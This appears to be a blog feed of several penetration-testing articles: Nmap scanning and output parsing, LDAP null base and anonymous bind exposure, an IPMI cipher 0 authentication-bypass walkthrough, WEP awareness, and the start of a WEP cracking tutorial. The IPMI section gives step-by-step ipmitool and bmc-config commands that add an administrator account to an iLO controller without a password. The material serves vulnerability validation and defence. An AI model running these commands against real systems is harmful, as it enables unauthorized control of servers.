Caution: Add the necessary ports using the -p option if the ports you want to use for operating system scans are not in the top 1000 ports.  Also be sure to include at least one open and one closed port to achieve a more accurate operating system guess.




Figure 4:  Comparison between SYN scan and operating system scan.
Some may want to use both -sV and -O at the same time, which is fine.  There is even a shortcut option for this discussed in the next section; however, we will provide a word of warning there as well.

NSE

Prior to the Nmap Scripting Engine (NSE), Nmap had very limited vulnerability scanning capabilities.  However, with the addition of NSE scripts, it can now seek out (and in some cases exploit) vulnerabilities.  This increases the flexibility and extensibility of Nmap by allowing users to write their own scripts with just a little bit of LUA scripting knowledge.

At the time of this writing, there are 433 NSE scripts provided as part of the Nmap download.  To view the scripts that are available, list the directories that contain the NSE scripts.

On Windows hosts the scripts are typically in the following location:
c:\Program Files (x86)\Nmap\scripts\

On Linux hosts the scripts are typically in the following location:
/usr/local/share/nmap/scripts/

You can also check this reference for a listing and description:  http://nmap.org/nsedoc/

Since these are interpreted (and not compiled) scripts, it is possible to view the source to better understand what they do and even tweak them to behave differently.  It is also quite helpful to start from one of these functioning scripts if LUA is not your forte.

To activate Nmap NSE scripts, use the --script option and supply comma separated script names, categories, or directories:

--script filename|category|directory|expression[,...]

Since NSE was designed for a variety purposes, including extended version scanning, vulnerability detection and even exploitation, all scripts have one or more categories defined.  This not only adds organization, but it can simplify the choices when running multiple scripts by being able to select a family of scripts based on their categories.

Category options are:  auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln.

In addition to running scripts based on category, there are a couple really nice shortcuts, but they may not be the best choice in all circumstances:
  • -sC = Script Scanning:  Equivalent to --script=default and will execute scripts which have the default category defined
  • -A = Aggressive scanning:  Performs the following: Operating System (-O), Version (-sV), Script scanning (-sC) and traceroute (--traceroute).

The reason why caution should be applied when running either of these options is that default scripts can include scripts in the intrusive category, which have the potential to crash systems or make printers go crazy.

Instead, it may be desirable to exercise more control over which NSE scripts are executed by using the boolean AND with the “safe” category.  For example:


nmap -sS -T4 -Pn --script “default and safe” <host>


nmap -sS -T4 -Pn --script “http-* and safe” <host>


nmap -sS -T4 -Pn --script “smb-* and safe” <host>


nmap -sS -T4 -Pn --script “safe” <host>



Figure 5:  Results of an Nmap script scan against a Windows 8 host
For more information, a great resource is Fyodor’s NSE usage page:

Manipulating Output

As mentioned earlier, the output options for Nmap are normal (.nmap), greppable (.gnmap), and XML (.xml).  We will now explore how we can manipulate these standard output formats to achieve even greater insight--which is particularly useful when viewing larger output files.

Carving Standard Output

The standard output files can be quite useful for generating statistics or feeding other tools.  The nmap and gnmap files are good for pulling information such as:

  • Unique open ports
  • Number of unique open ports
  • Open ports to feed into other tools
  • Hosts that are listening on a particular port
  • Number of hosts listening on a particular port

Unique open ports:



grep " open " FullTCP.nmap | cut -f 1 -d '' | sort -nu


22/tcp
23/tcp
80/tcp
135/tcp
--snip--


Number of unique open ports:



grep " open " FullTCP.nmap | cut -f 1 -d '' | sort -nu | wc -l


16


Feed open ports into another tool (space separated):



grep " open " FullTCP.nmap | cut -f 1 -d '' | sort -nu | cut -f 1 -d '/' | xargs


22 23 80 135 139 443 445 902 912 992 4445 4567 5357 8080 8443 49155


Feed open ports into another tool (comma separated):



grep " open " FullTCP.nmap | cut -f 1 -d '' | sort -nu | cut -f 1 -d '/' | xargs | sed 's/ /,/g'


22,23,80,135,139,443,445,902,912,992,4445,4567,5357,8080,8443,49155


Hosts that are listening on a particular port (telnet used below as an example):



grep 23/open/tcp FullTCP.gnmap | cut -f 2 -d ''


192.168.1.1
192.168.1.2


(Replace port 23 with whatever port number you wish to find other ports/hosts of interest)

How many hosts are listening on a particular port (telnet used below as an example):



grep 23/open/tcp FullTCP.gnmap | cut -f 2 -d '' | wc -l


2


(Replace port 23 with whatever port number you wish to find other ports/hosts of interest)

Convert to HTML

We just illustrated the usefulness of normal and greppable output files, however XML files are also useful.  Nmap XML files can be converted into HTML format for easy viewing within a web browser.  This is possible through using Extensible Stylesheet Language Transformations (XSLT).

Detailed information on various options can be found here:  http://nmap.org/book/output-formats-output-to-html.html

One very reliable method is using the xsltproc tool (fromhttp://xmlsoft.org/XSLT/).  Using it is simple and the result is portable.  Use the Nmap XML file for input and use -o to specify the output file.

Syntax is below:


root@DVORAK:~/scans# xsltproc TopTCP.xml -o TopTCP.html
root@DVORAK:~/scans# firefox TopTCP.html


Result:


Figure 6:  HTML result of using xsltproc
Notice that the output is very organized and port information is even displayed in easy to read tables.  Navigation is made convenient through the use of the included hyperlinks and search functionality provided by the browser.

Summary

With little-to-no training, anyone can scan a network using Nmap by simply specifying the host or target range.  While Fyodor has done a great job making Nmap default options as efficient as possible, you should still be able to improve scanning efficiency by customizing your scans.  Hopefully, by sharing a proven scan methodology and tricks for manipulating the output, we have provided ideas for you to refine your Nmap scan strategy and get the most from your efforts.


For this article and others like it, check out the following magazine:

Special Thanks To

Bill Hau
Dan Dumond
Dennis Hanzlik
Jacob Martinson
Ron Nguyen
Rudolph Araujo

Dangers of LDAP NULL Base and Bind

$
0
0

By Tony Lee

Introduction:

Lightweight Directory Access Protocol (LDAP) is a powerful and often critical component in most large networks.  But as you already know, centralized authentication and user management is a double-edged sword.  On one hand, managing all users and objects in a central location makes user management much more efficient—for example, there is less chance of forgotten user accounts and unenforceable password policies across multiple devices.  On the other hand, all attributes and eggs are in one basket—meaning a misconfigured basket could leave your eggs quite exposed.

Outline:

  • Default findings
  • Explanation
  • Consequences
  • Popular LDAP implementations
  • How to validate
  • Countermeasures
  • Conclusion

Default findings

Regular use of vulnerability scanners is a critical part of a proactive layered defense.  The goal is that network administrators will find vulnerabilities and remediate them before an attacker has an opportunity to exploit them.  Most will agree that it makes sense to work your way down from the top to the bottom—starting with the high risk findings and moving to the lows.  This is great except that most organizations put too much weight in the default risk score.  Additionally, we notice that some organizations do not even bother examining or remediating anything that is not a high risk finding.  This article will hopefully stress the importance of regularly using a vulnerability scanner and remediating all findings—not just the high risk ones.
Why make this point?
Nessus and McAfee Vulnerability Manager (MVM) are two very popular and robust vulnerability scanners.  Both of them are able to find misconfigured LDAP servers and produce findings such as:
LDAP NULL BASE Search Access– Medium Risk (CVSS Base Score : 5.0)
LDAP Server NULL Bind Connection Information Disclosure– Medium Risk (CVSS Base Score : 5.0)

Explanation

If you perform regular vulnerability scans and discover that your LDAP server suffers from these issues, what do they mean?

NULL Base Search

An LDAP server that allows a NULL base search means that the attacker does not need to know a base object before querying.  A very good explanation can be found here:
“LDAP implementations are required to return some information as a result of a search. This information is required for LDAP clients to bind and interact with the directory.  When this event occurs, users can dump the base of the tree or issue a request without knowing the base object. LDAP implementations vary on how or whether it is possible or necessary to constrain or prevent NULL base requests. Some implementations use an access control list (ACL), others provide the ability using a utility program or user interface, and others may not be able to prevent these requests.”

NULL/Anonymous Bind

An LDAP server that allows anonymous binds does not require any type of credentialed authentication.  Specifically:
“The NULL bind entry allows a user to access the Lightweight Directory Access Protocol (LDAP) directory anonymously. An attacker could take advantage of the NULL bind entry to anonymously view files on the LDAP director.”

Note that as mentioned in our statement above, many organizations will not, or cannot (sometimes due to time or resource constraints) remediate anything lower than the high risk findings.  But these LDAP findings shown above default to medium risk, so what is the big deal?


Consequences

In the past few years, we cannot tell you how many LDAP findings we have encountered (just like the ones above).  However in a handful of instances these medium risk vulnerabilities turned into a high risk finding (maybe even ludicrous! – <insert popular nerd movie reference>).  The irony is that in both situations below, the organizations regularly used vulnerability scanners and were proactive about remediating the findings.  However, both organizations had resource and/or policy limitations which allowed them to only remediating the high risk findings.
Let’s examine the two instances:
Instance 1:
This is one of the most egregious misconfigurations we have seen to date, but others are not far off.  This group of misconfigured LDAP servers contained the following information:

  • All users in the environment
  • First and last name
  • Email
  • Default shell
  • Home directory
  • Username
  • Password!

















Figure 1:  Real-world scenario in which LDAP held the keys to the kingdom.
With this information we could log into any host as any user—thank you centralized authentication.

Instance 2:
This was not quite as bad as the first instance, but it is still significant as it exposed Personally Identifiable Information (PII) including first and last name, middle initial, personal phone numbers, usernames, titles, salary information, and last password change date.











Figure 2:  Personally Identifiable Information (PII) leakage via LDAP

Popular LDAP implementations

When deploying LDAP, you have a multitude of vendors to choose from.  Due to the prevalence of Microsoft Windows environments we mostly see Windows Active Directory, however, they are not the only game in town.  We often encounter a significant amount of Sun Directory Services, Novell Directory Services (NDS), and OpenLDAP.

Microsoft Windows Active Directory

Microsoft has historically not done very well in protecting LDAP data.  However, with each release of Windows they become more security conscious.  Windows 2000 had much of the same information disclosure issues that we have seen above.  Windows 2003 has had less of an issue with this unless intentionally misconfigured.  Finally, Windows Server 2008 has had even fewer issues.

Sun Directory Services

Often when we have an information disclosure issue, it is a misconfigured Sun Directory Services server.  When first binding to the LDAP server, it will generally tell you the version of LDAP running.  This is helpful when making note of trends.

Novell Directory Services (NDS)

We do not seem to encounter these as often as we did about 3 years ago as they are most likely losing market share.  However, the companies that do have them were at one point huge consumers of Novell and may have legacy applications around that are still utilizing this infrastructure.  As with the Sun Directory Services server, this usually synchronizes with Windows Active Directory.  So, even if you cannot query the data out of the Windows LDAP servers, you can get a copy from a misconfigured NDS.

OpenLDAP

While this is certainly an LDAP option, we have not run into many that have been misconfigured in a large enterprise.  Though, we would love to hear feedback from others who have more experience dealing with them.

How to validate

When testing these findings, we will generally use Softerra’s LDAP Browser (http://www.ldapbrowser.com/info_softerra-ldap-browser.htm).  It is a free Windows application that is read-only and object-limited compared to Softerra’s commercial product called LDAP Administrator.  Even though it is limited, it often efficiently completes the task of validating the severity of the LDAP findings.  The connection profile wizard will walk you through setting up connection options in less than 30 seconds as shown in the screenshots below:
Figure 3:  Softerra LDAP Browser setup for NULL base

Figure 4:  Softerra LDAP Browser anonymous bind
If you are more Linux oriented, you could use a number of Linux tools, including ldapsearch.  Its syntax would resemble the following:
ldapsearch -x -s base -b '' -H  ldap://my.lapdap.server "(objectClass=*)""*" +  

Options explanation:
-x = simple authentication
-s = scope is defined as base
-b = search base
-H = specify LDAP uri

Countermeasures

Countermeasures here include restricting anonymous binds and NULL base searches.  However, as with any potential remediation this should be tested in a development or QA environment to ensure that there will be no adverse side effects.  Extra care should be taken when applications are utilizing LDAP for user authentication or information lookup.  Locking down the LDAP server without testing the applications could result in many angry users.

Conclusion

In this article, we have illustrated very common LDAP findings that may not get the attention they deserve based on their default risk rating.  We are not necessarily advocating raising the default risk rating because many times this check turns out to be less serious than the two scenarios highlighted above.  The problem is that machines are not always able to intelligently determine the severity of the findings.  This should indicate that companies and security practitioners that utilize vulnerability scanners need to be especially careful to validate and remediate as many of the findings as they can—not just the high risk ones.  They can then determine an appropriate risk management strategy.
Have you ever run into this finding and discovered gold?  Do you have any other “Medium/Low/Informational” findings then ended up being critical?  All comments are appreciated; feel free to leave them below.  Happy hacking!

Special Thanks

Dan Dumond
Dennis Hanzlik
Rudolph Araujo

Hacking IPMI Cipher 0 Using Kali Linux

$
0
0

By Tony Lee

Introduction

So, you run a vulnerability scan and see a finding called: “IPMI Cipher Suite Zero Authentication Bypass”.  After reading the description, you realize that it sounds pretty bad.  Let’s take a few minutes to understand the protocol and vulnerability.  Then we will cover vulnerability validation and the repercussions of having this issue lurk on your network for an attacker to find.


Outline

  • Understanding
    • Wikipedia
    • Nessus
    • Original report
  • Necessary Tools
  • Validation and Consequences
    • List users
    • Pull the current config
    • Add users
    • Login to the WebUI
    • Remove users
  • Countermeasures
  • Conclusion


Understanding

Wikipedia + Nessus = Decent understanding of the purpose and vulnerability:

Wikipedia

“The Intelligent Platform Management Interface (IPMI) is a standardized computer system interface used by system administrators for out-of-band management of computer systems and monitoring of their operation. It is a way to manage a computer that may be powered off or otherwise unresponsive by using a network connection to the hardware rather than to an operating system or login shell.
The development of this interface specification was led by Intel Corporation and is supported by more than 200 computer systems vendors.[1] Cisco, Dell, Hewlett-Packard, Intel, and NEC Corporation announced IPMI v1.0 on 1998-09-16, v1.5 on 2001-03-01, and v2.0 on 2004-02-14.”
So what does this mean??  Think Dell’s DRAC or HP’s iLO--remote out of band management that can control hardware and provide a virtual desktop/terminal.

Nessus

Now that we understand what IPMI is used for, what is the problem with it?  Nessus has the short answer:
“The IPMI service listening on the remote system has cipher suite zero enabled, which permits logon as an administrator without requiring a password. Once logged in, a remote attacker may perform a variety of actions, including powering off the remote system.”
Source:  Nessus Vulnerability Scanner

Original Disclosure

These two sources give you a high level understanding of the issue, but if you want the gory details and an in-depth understanding of this vulnerability--see the original disclosure by Dan Farmer <zen@fish2.com>:  http://fish2.com/ipmi/cipherzero.html
If you want to know what you need to validate it using Kali, read on. :)

Necessary Tools

Since we like quick and easy validation, the operating system that we will be using to validate this finding is Kali Linux 1.0 (VMWare download).  This is available from www.kali.org/downloads/.
 
 Figure 1:  Kali Linux download page

Unfortunately the base install of Kali, does not include the tools we need, so let’s install them.
There are two tools that we will need:
ipmitool - located in the ipmitool package
bmc-config - located in the freeipmi-tools package (read caution below)


Caution:
At first, I used the following command:  “apt-get install freeipmi-tools”.  However, the problem is that the current debian package in our repository is only version 1.1.5, which does not support the -I option to specify CIPHER-SUITE-ID.  Thus we get an error message later if we try to add a user.
Error message encountered later if we do not perform a manual install:

bmc-config: invalid option -- 'I'
Try `bmc-config --help' or `bmc-config --usage' for more information.



Freeipmi version 1.1.6 supports this option though, so we will have to get that manually.
The following commands will get you all the tools needed to validate this finding:

apt-get install ipmitool


wget http://ftp.gnu.org/gnu/freeipmi/freeipmi-1.1.6.tar.gz
tar -zxvf freeipmi-1.1.6.tar.gz
cd freeipmi-1.1.6/
./configure
make
make install



Validation and Consequences

So, how will we validate this issue?  There are progressively intrusive actions that we can perform to validate and understand the consequences.

List users

The easiest way to test the bypass is to list the users using the ipmitool:
If the issue is discovered on an HP iLO, try using Administrator as the default user present.  If the device is a DRAC, try using root.  If you are unsure of the device attempt to access it over HTTP or try either Administrator or root for the user.  For our example, we will run it against an iLO:

Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list


Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P whateverPassword user list


ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit
1   Administrator    true    false      true       ADMINISTRATOR
2   (Empty User)     true    false      false      NO ACCESS
3   (Empty User)     true    false      false      NO ACCESS
4   (Empty User)     true    false      false      NO ACCESS
5   (Empty User)     true    false      false      NO ACCESS
6   (Empty User)     true    false      false      NO ACCESS
7   (Empty User)     true    false      false      NO ACCESS
8   (Empty User)     true    false      false      NO ACCESS
9   (Empty User)     true    false      false      NO ACCESS
10  (Empty User)     true    false      false      NO ACCESS
11  (Empty User)     true    false      false      NO ACCESS
12  (Empty User)     true    false      false      NO ACCESS


Pull the current config

Before modifying the configuration file, we may want to pull a copy first.  This will pull the current remote configuration and write it to a text file called config.txt.


Tony@kali:~# /usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 -o -f config.txt


Add users

The next step after listing the users is to add a user in which we know the password.  Note:  The original advisory listed a configuration file that you could use as a template.  That configuration file did not work for me.  My test target is an iLO 4, so the best thing I could come up with was to pull the current configuration as shown above and take a snippet of that and use it to create a user.  My configuration file is shown below--but I took it from the current configuration to make sure it matched what the remote device was expecting.  Also, remember to uncomment the Password field if you copy and paste from your current configuration file--mine was commented (##) by default.


Using your favorite text editor (VIM is the best evar), create a text file called adduser.txt with the following content:



Section User2
       ## Give Username
       Username                                      TestUser
       ## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).
       Password                              StrongPassword1!
       ## Possible values: Yes/No or blank to not set
       Enable_User                                   Yes
       ## Possible values: Yes/No
       Lan_Enable_IPMI_Msgs                          Yes
       ## Possible values: Yes/No
       Lan_Enable_Link_Auth                          Yes
       ## Possible values: Yes/No
       Lan_Enable_Restricted_to_Callback             No
       ## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
       Lan_Privilege_Limit                           Administrator
       ## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
       ## Lan_Session_Limit                          
       ## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
       ## Serial_Session_Limit                       
EndSection



Now use the bmc-config tool to add that user using the --commit option:

Syntax:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u <user> -p <password> -h <IP.AD.DR.ESS> --commit -f adduser.txt


Example:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 --commit -f adduser.txt


Note:  I received the following error, but the WebUI login still worked:
ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config



List the users again to make sure your new user is present:

Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list


Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P WhateverPassword user list


ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit
1   Administrator    true    false      true       ADMINISTRATOR
2   TestUser         true    false      true       ADMINISTRATOR
3   (Empty User)     true    false      false      NO ACCESS
4   (Empty User)     true    false      false      NO ACCESS
5   (Empty User)     true    false      false      NO ACCESS
6   (Empty User)     true    false      false      NO ACCESS
7   (Empty User)     true    false      false      NO ACCESS
8   (Empty User)     true    false      false      NO ACCESS
9   (Empty User)     true    false      false      NO ACCESS
10  (Empty User)     true    false      false      NO ACCESS
11  (Empty User)     true    false      false      NO ACCESS
12  (Empty User)     true    false      false      NO ACCESS



Our new TestUser is present as an Administrator.  Let’s try it out!

Login to the WebUI

Now that you have a username and a password that you know--try logging into the Web UI.  
Figure 2:  Log into the Web UI with your newly created credentials.

After authenticating with your newly created credentials, you should have options similar to what is shown in the screenshot below.


Figure 3:  All of the options expanded.  Power and Remote Console can be the most interruptive and fun.
Try to access the Remote Console.  If the host at the remote console has an unlocked screen--you are in business!

Remove users

After the point has been proven, you can use the Administrator account to delete the user or you can try to delete it using the same method you used to add a user--the bmc-tool.
Using your favorite text editor (VIM is still the best evar), create a text file called removeuser.txt with the following content:



Section User2
       ## Give Username
       Username                                     (Empty User)  
       ## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).
       ## Password
       ## Possible values: Yes/No or blank to not set
       Enable_User                                   No
       ## Possible values: Yes/No
       Lan_Enable_IPMI_Msgs                          No
       ## Possible values: Yes/No
       Lan_Enable_Link_Auth                          No
       ## Possible values: Yes/No
       Lan_Enable_Restricted_to_Callback             No
       ## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
       Lan_Privilege_Limit                           No_Access
       ## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
       ## Lan_Session_Limit
       ## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
       ## Serial_Session_Limit
EndSection



Now use the bmc-config tool to remove the user:

Syntax:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u <user> -p <password> -h <IP.AD.DR.ESS> --commit -f removeuser.txt


Example:
/usr/local/sbin/bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p WhateverPassword -h 172.16.1.10 --commit -f removeuser.txt


Note:  I received the following error, but the user was still disabled:
ERROR: Failed to commit `User2:Lan_Enable_IPMI_Msgs': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Enable_Restricted_to_Callback': Invalid/Unsupported Config
ERROR: Failed to commit `User2:Lan_Privilege_Limit': Invalid/Unsupported Config



List the users again to make sure your new user is gone:

Syntax:
ipmitool -I lanplus -C 0 -H <IP.AD.DR.ESS> -U <user> -P <password> user list


Example:
Tony@kali:~# ipmitool -I lanplus -C 0 -H 172.16.1.10 -U Administrator -P whateverPassword user list


ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit
1   Administrator    true    false      true       ADMINISTRATOR
2   (Empty           true    false      false      NO ACCESS
3   (Empty User)     true    false      false      NO ACCESS
4   (Empty User)     true    false      false      NO ACCESS
5   (Empty User)     true    false      false      NO ACCESS
6   (Empty User)     true    false      false      NO ACCESS
7   (Empty User)     true    false      false      NO ACCESS
8   (Empty User)     true    false      false      NO ACCESS
9   (Empty User)     true    false      false      NO ACCESS
10  (Empty User)     true    false      false      NO ACCESS
11  (Empty User)     true    false      false      NO ACCESS
12  (Empty User)     true    false      false      NO ACCESS


For some reason, I could not get it to say “(Empty User)” again, but the account no longer works.  If you figure it out, please feel free to leave the answer in the comments below.

Countermeasures

The first countermeasure is to find all of your systems with this issue.  You can use a scanner such as Nessus or you could also use a Metasploit auxiliary module using the following path:
auxiliary/scanner/ipmi/ipmi_cipher_zero
Just set your RHOSTS variable and you are off and running.
The actual fix appears simple in that IPMI v2 should not support cipher 0 in the first place.  As easy as this sounds, the manufacturers may not provide that level of control over the device--thus you may be stuck relying on their patches.  For example, for iLO the fix is the following:
“Upgrade iLO3 to version 1.60, or higher, and iLO4 to version 1.30, or higher, to address this vulnerability.”
Your vendor and mileage may vary.

Conclusion

In this article, we examined how to quickly validate and explore the consequences of the IPMI Cipher 0 bypass vulnerability.  Special Thanks goes to Dan Farmer for his research in IPMI security and releasing his findings.  Thanks for reading and happy hacking.

Hackable Home Wireless Networks - 14 years later

$
0
0

By Tony Lee


Introduction
Happy Birthday WEP!  A little belated wish, but still an important milestone in home wireless network security.  After many years of insecurity, you would think that the lack of wireless security afforded to the average home user has been resolved, right?  Well, not exactly.  Statistically speaking, WEP is still alive and well today--14 years after its inception--10 years after it was superseded by a stronger alternative for wireless protection.  Buy why?  Let’s answer a few questions and expose some common myths about the most common protection afforded to U.S. home wireless networks.

Questions
What is WEP?
Wired Equivalent Privacy is a wireless security protocol that was ratified in September of 1999.  Happy 14th birthday!  The WEP protocol was originally designed to protect your data as it travels over the airwaves when using 802.11 wireless networks.  Unfortunately, its cryptographic implementation is plagued with substantial security flaws and was deprecated in 2004--It has been replaced with a new standard called Wi-Fi Protected Access Pre-shared Key (WPA-PSK).


How widespread is WEP usage?
Wigle.net (Wireless Geographic Logging Engine) may be one of the best resources for wireless encryption statistics that is freely available on the web.  It utilizes wardriving data from volunteers around the globe to discover, collect, parse, and plot wireless network information for public consumption.  The tables below (as of Sept. 2013) summarize Wireless crypto data across the world as well as just within the U.S.

World-wide Stats:
Total wireless networks in database:
106,555,322

Encryption
Count
Percent
WPA2
38,031,364 
35.7%
WEP
22,581,550 
21.2%
None
18,092,085 
16.9%
Unknown
15,639,701 
14.7%
WPA
12,210,622 
11.5%

US Cryptographic Stats:
Total US wireless networks in database:
40,919,320 (38.400%)

Encryption
Count
Percent
WEP
12,243,225
11.490%
None
9,193,346
8.627%
WPA2
9,130,783
8.569%
Unknown
7,129,887
6.691%
WPA
3,222,079
3.023%


Notice that the US is lagging behind the rest of the world in terms of secure wireless adoption.  The rest of the world has embraced WPA2 as the leading standard while WEP is still the most popular here in the US.  In fact, unencrypted networks (as indicated by “None” in the tables above) in the U.S. are more popular than using the WPA2 protocol.
How do I know if my home network is protected by WEP?
To see what encryption your network is using, you can click the Wireless bars icon in the system tray (typically bottom right hand corner of your screen) and hover your mouse over your home wireless network as shown in the screenshot below.  If it says “Security Type:  WEP” or worse - None / Open then this article is applicable to you.  Even if it isn’t applicable to you, it is most likely applicable to some of your friends and family--so pass it on.



Now that you know what WEP is and if you are using it, let’s cover some common myths.


WEP Myths
My home wireless network requires a password: therefore it is safe.
While requiring a password to access a wireless network is better than leaving it open to unauthenticated users, it does not prevent even a novice hacker from breaking into the network if it is WEP protected.


My Internet Service Provider (ISP) securely set up my wireless network.
This is an unfortunate myth, as many ISPs and equipment manufacturers still default to WEP protected networks.  In fact if you are using some of the largest ISPs and they performed your install or you picked up an install kit, your network is most likely using this antiquated wireless protection.


A perfect example of these bad practices is an Actiontec networking guide for their MI424WR router that condones the use of WEP by stating:


“The weaknesses of wireless security are more theoretical than practical.  Wireless networks protect their data through the Wired Equivalent Privacy (WEP) encryption standard which is enabled by default on your Verizon FIOS Router.  WEP makes wireless communications reasonably as safe as wired ones.”



In addition to equipment defaulting to WEP, the technicians either do not have a standard install process or it is not always followed.  Personal experience indicates that the encryption chosen by the installers depends on their knowledge and personal preference rather than a standard process.


Fortunately ISPs and hardware manufacturers are slowly changing.  Verizon’s latest routers are finally shipping with WPA as the default, but for those who do not have the latest routers, you may need to change your security manually.


Router
Default Encryption
D-Link VDI-624 Wireless
WEP
Actiontec MI424WR Wireless
WEP
Verizon 9100EM or 9100VM
WEP
Verizon MI424WR
WEP
Verizon MI424WR rev G
WPA
Verizon MI424WR rev. I
WPA




These are just a couple of examples.  Hardware and ISPs vary and will need to be investigated on a case by case basis.  You will have to perform due diligence as this has been neglected for a very long time.


The hardware required to break into my wireless network is too expensive and hard to obtain.
While this may have been true 7-10 years ago, it is not true anymore.  In fact, ordinary laptops are powerful enough to easily crack WEP keys--the information needed to access the network.  A very capable USB wireless adapter that can be used for wireless hacking is available online for just $16 with free shipping.  Lastly, the operating system needed to perform this wireless attack is freely available for download from the Internet.


The time and skills required to break into my wireless network are more than an attacker would spend.
A well-versed attacker can break WEP protection in just 5-10 minutes.  Even a novice Linux user could stumble through it in less than an hour after following any of the numerous tutorials and YouTube videos available on the Internet.


No one wants to break into my wireless network. I don’t do anything important on my computer.
Attackers do not necessarily break into networks for malicious intent--sometimes it is just boredom, curiosity, or a challenge they are seeking.  However, keep in mind, the moral compass is not always functional for all individuals.  For those of you that do not believe you do anything important on your computer, you may be surprised at how much you rely on it for day-to-day activities.  Do you pay bills, check your investment accounts, your bank, or your email?  If you answered yes, you have something to lose--whether that is money, privacy, or both.


My computers are patched and the firewalls are enabled, therefore an attacker on my network cannot harm me.
Even if your computers are patched and firewalled, an attacker can still perform a man-in-the-middle attack and intercept your communication.  This attack involves tricking a victim into routing their traffic through the attacker’s computer.  In most cases, even encrypted traffic can be intercepted by the attacker for inspection.  You will most likely not even notice any strange behavior; however, this attack enables invaders not only to obtain your data but also your credentials needed to continually authenticate to your bank, email, and other password-protected systems.


I will notice if an attacker is close enough to my house to be able to get on the wireless network.
Inexpensive antennas can be purchased or easily assembled to increase the wireless gain enough to produce a usable wireless signal from blocks away.  You will not even see the attacker or the vehicle they are sitting in while they are breaking into your network.  In fact, there are numerous instances in which neighbors/strangers have used poorly protected networks in order to perform reprehensible acts such as downloading child pornography.  One such instance in January 2013 involved agents raiding the wrong home in Palm Bay, Florida for allegedly accessing child pornography only to later learn that it was the next door neighbor, Juan Gonzalez, who admitted using the neighbors wireless for such acts.


So, my home network is using WEP.  What do I do now?
You should change the settings in your wireless access point to use WPA-PSK, but keep in mind that this will also require changing the wireless settings on each device that connects to your home wireless network (Desktop, laptop, tablets, video game consoles, smart TVs, phones, and maybe even appliances) to use WPA-PSK as well.  You may be able to search your ISP's website for instructions to change the encryption to WPA-PSK or you may be able to call their help desk and have them guide you through such a process.  Either way, dedicate some time to it or go find the neighborhood or family IT guru and buy him or her lunch.


Example resources:


What are the best practice recommendations in setting up WPA-PSK?
When deciding between TKIP and AES encryption, always choose AES encryption--provided that all of your wireless devices support it.  TKIP was a stop gap measure while companies were developing more robust hardware to support the stronger AES encryption.  Additionally, the most viable attack against WPA-PSK is an off-line brute force attack so make sure the pre-shared key that you select is long and sufficiently complex.  Pro-tip:  Instead of complicated and often-abbreviated passwords, just use a passphrase.


For example, in the past we have heard that a good way to create a complex password was to use the first letter of each word in a sentence.  For example, the sentence "Please Do Not Hack My Wireless Network!” would yield a password of "PDNHMWN!".


Example password:  PDNHMWN!
Example passphrase:  “Please Do Not Hack My Wireless Network!”


The passphrase is an impressive 39 characters including the spaces, while the password is only 8 characters total.  Not only is the password hard to remember and type, but it is also susceptible to a brute force attack.  To create a very strong wireless password, the best recommendation is to use the passphrase--which can be a whole sentence.


Conclusion
The hope in writing this article is that it once again raises awareness and brings to light that fact that WEP (and unencrypted networks) are still so widely used--even today--especially in the U.S.  This practice can be ended through increasing user awareness and challenging all ISPs and equipment manufacturers to stop encouraging the use of WEP that has been deprecated and replaced 10 years ago.  We are making good strides (ex:  Verizon’s ActionTec MI424WR Rev 1), but we still have a long way to go.


Special Thanks To
Bill Hau
Dan Dumond
Dennis Hanzlik
Rudolph Araujo

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - WEP

$
0
0

By Tony Lee

Introduction

So you want to do some wireless testing…  Or maybe you already do, but you are seeking a good little backup wireless adapter and a flexible setup.  The good news is that there are so many adapters on the market.  The bad news is that you may not know which one will work for your purposes.  Features are important, but so is price--especially when you are buying these adapters with your own money for tinkering purposes.  This article will showcase an unlikely adapter that you may want to add to your goodie bag.  We also explain a very convenient wireless attack setup which does not force you to reboot the laptop into an alternate operating system.  To prove the abilities of the wireless card and attack environment, we setup a home router running Wired Equivalent Privacy (WEP) to walk you through a typical attack from start to finish. The follow-on articles will continue with other wireless protection mechanisms, but we must first learn to crawl before we walk. Enjoy!
Figure 1:  Our setup

Outline

  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device
  • Discovery (airodump-ng)
  • Attack
    • Explained
    • Setting the Variables
    • Capture Traffic
    • Associate
    • Inject Frames
    • Crack the Key
  • Connect
  • Countermeasures
  • Conclusion


Equipment

Hardware

The hardware that we will be using is under $20!  In fact, at the time of this writing, TP-Link’s TL-WN722N can be purchased for only $15.99 with free shipping from Newegg. You can also pick one up from Fry's Electronics if you are lucky enough to have one nearby.
Figure 2:  TP-LINK TL-WN722N for sale at Newegg
